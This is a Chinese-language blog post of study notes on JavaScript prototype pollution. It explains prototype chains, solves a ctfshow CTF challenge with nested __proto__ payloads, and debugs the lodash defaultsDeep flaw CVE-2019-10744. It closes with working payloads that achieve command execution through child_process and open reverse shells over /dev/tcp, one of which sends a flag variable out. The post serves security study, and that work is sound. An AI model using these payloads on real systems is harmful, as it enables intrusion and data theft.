JavaScript原型链污染学习记录

lxf2023-05-07 00:41:43

1.JS原型和继承机制

0> 原型及其搜索机制
  • NodeJS原型机制,比较官方的定义:

我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象

而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法

设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。

而原型机制恰好满足这种需求。

打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用

1> 原型链和继承
  • 原型链

原型链是在原型上实现继承的一种形式

举个例子:

function Father(){    this.name = "father";    this.age = 66;}​function Son(){    this.name = "son";}​var father1 = new Father();​Son.prototype = father1;​var son1 = new Son();​console.log(son1);console.log(son1.__proto__);console.log(son1.__proto__.__proto__);console.log(son1.__proto__.__proto__.__proto__);console.log(son1.__proto__.__proto__.__proto__.__proto__);​​/*Father { name: 'son' }Father { name: 'father', age: 66 }{}[Object: null prototype] {}       null*/

整个的原型继承链如下:

JavaScript原型链污染学习记录

  • 关于原型搜索机制:

1)搜索当前实例属性

2)搜索当前实例的原型属性

3)迭代搜索直至null

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

在上面的例子中

console.log(son1.name);console.log(son1.age);/*son66 */
2> 内置对象的原型

这个也是多级原型链污染的基础

拿一张业内很经典的图来看看

JavaScript原型链污染学习记录

2.姿势利用

1>利用原型污染进行RCE
global.process.mainModule.constructor._load('child_process').execSync('calc')

JavaScript原型链污染学习记录

2>多级污染

ctfshow Web340中有这么一题:

/* login.js */  var user = new function(){    this.userinfo = new function(){    this.isVIP = false;    this.isAdmin = false;    this.isAuthor = false;         };  }  utils.copy(user.userinfo,req.body);  if(user.userinfo.isAdmin){   res.end(flag);  }

由于Function原型对象的原型也是Object的原型,即

user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype

那么就可以通过这个进行多级污染,payload为如下形式:

{    "__proto__":{        "__proto__":{            attack_code        }    }}
3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)

lodash版本 < 4.17.12

CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。

看下官方样例PoC的调试过程:

const lodash = require('lodash');const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'function check() {    lodash.defaultsDeep({}, JSON.parse(payload));    if (({})['whoami'] === "hack") {        console.log(`Vulnerable to Prototype Pollution via ${payload}`);        console.log(Object.prototype);    }}​check();

开始调试:

在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。

所以主体逻辑为,而这段匿名函数也将为func的函数的函数体

args.push(undefined, customDefaultsMerge);return apply(mergeWith, undefined, args);

JavaScript原型链污染学习记录

查看overRest

在变量监听中可以发现,传入的参数整合成一个参数对象args

JavaScript原型链污染学习记录

继续往下return apply

JavaScript原型链污染学习记录

apply后进入,是个使用switch并且根据参数个数作为依据

发现使用了call,这里可能是个进行原型链继承的可利用点。

(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)

function Super(){}function Sub(){    Super.call(this);           // 继承}

然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMergemerge的声明方式

JavaScript原型链污染学习记录

继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])

JavaScript原型链污染学习记录

基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动

JavaScript原型链污染学习记录

继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global

JavaScript原型链污染学习记录

assigner视为合并的一个黑盒函数即可,至此完成原型链污染。

JavaScript原型链污染学习记录

JavaScript原型链污染学习记录

Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{})

所以还是具体分析一下合并的过程(来看下assigner的一些底层实现)

注意:通常而言,合并需要考虑深浅拷贝的问题

/*baseMerge*/    function baseMerge(object, source, srcIndex, customizer, stack) {      if (object === source) {                  // 优化判断是否为同一对象,是则直接返回        return;      }                // 遍历source的属性,选择深浅复制              baseFor(source, function(srcValue, key) {        if (isObject(srcValue)) {          stack || (stack = new Stack);          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);        }        else {          var newValue = customizer            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)            : undefined;​          if (newValue === undefined) {            newValue = srcValue;          }          assignMergeValue(object, key, newValue);        }      }, keysIn);    }

    var baseFor = createBaseFor();

    function createBaseFor(fromRight) {         // fromRight选择从哪端开始遍历             return function(object, iteratee, keysFunc) {        var index = -1,            iterable = Object(object),            props = keysFunc(object),            length = props.length;​        while (length--) {          var key = props[fromRight ? length : ++index];          if (iteratee(iterable[key], key, iterable) === false) {   // 这里的iteratee即为baseFor中的匿名函数            break;          }        }        return object;      };    }​

那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。

JavaScript原型链污染学习记录

原来在4.17.12之前的版本也是有waf的,只是比较弱。

JavaScript原型链污染学习记录

回归正题,在customizer之后便产生了合并

JavaScript原型链污染学习记录

所以,为了更好地观察,我将{}替换成[](Array对象实例)

重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。

JavaScript原型链污染学习记录

JavaScript原型链污染学习记录

这是在生成属性时需要设置的四种数据属性

JavaScript原型链污染学习记录

回归正题,发现只能写入Array的原型

JavaScript原型链污染学习记录

再验证一下

const lodash = require('lodash');const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'​var object = new Object();​function check() {    // JSON.parse(payload)之后是一个JS对象    lodash.defaultsDeep([],JSON.parse(payload));    if (({})['whoami'] === "hack") {        console.log(`Vulnerable to Prototype Pollution via ${payload}`);        console.log(Object.prototype);    }}​check();​console.log(Array.prototype);

JavaScript原型链污染学习记录

所以说需要直接传入一个Object的实例。

官方修复,直接上waf:检测JSON中的payload中的key值

此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格

JavaScript原型链污染学习记录

总结一下,CVE-2019-10744可用的payload

# 反弹shell{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}​# RCE// 对于某个object实例{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}​# 反弹shell{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}
本网站是一个以CSS、JavaScript、Vue、HTML为核心的前端开发技术网站。我们致力于为广大前端开发者提供专业、全面、实用的前端开发知识和技术支持。 在本网站中,您可以学习到最新的前端开发技术,了解前端开发的最新趋势和最佳实践。我们提供丰富的教程和案例,让您可以快速掌握前端开发的核心技术和流程。 本网站还提供一系列实用的工具和插件,帮助您更加高效地进行前端开发工作。我们提供的工具和插件都经过精心设计和优化,可以帮助您节省时间和精力,提升开发效率。 除此之外,本网站还拥有一个活跃的社区,您可以在社区中与其他前端开发者交流技术、分享经验、解决问题。我们相信,社区的力量可以帮助您更好地成长和进步。 在本网站中,您可以找到您需要的一切前端开发资源,让您成为一名更加优秀的前端开发者。欢迎您加入我们的大家庭,一起探索前端开发的无限可能!